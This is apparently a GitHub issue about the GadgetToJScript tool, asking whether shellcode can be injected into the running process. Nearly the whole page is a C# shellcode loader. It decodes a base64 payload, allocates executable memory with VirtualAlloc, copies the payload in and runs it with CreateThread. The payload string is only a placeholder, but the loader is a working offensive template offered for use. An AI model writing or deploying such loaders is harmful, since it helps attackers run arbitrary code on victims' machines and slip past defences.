Is it possible to inject shellcode into itself with G2J about gadgettojscript HOT 4 CLOSED

using System;
using System.Runtime.InteropServices;

namespace CreateThread
{
    public class Test
    {
        public Test()
        {
            ok();    
        }

        public static void ok()
        {
            byte[] sh = Convert.FromBase64String("cat shellcode.bin | base64");
            UInt32 addr = VirtualAlloc(0, (UInt32)sh.Length,
                                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(sh, 0, (IntPtr)(addr), sh.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;

            IntPtr p = IntPtr.Zero;

            hThread = CreateThread(0, 0, addr, p, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
         UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

          );
        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
          IntPtr hHandle,
          UInt32 dwMilliseconds
        );

    }
}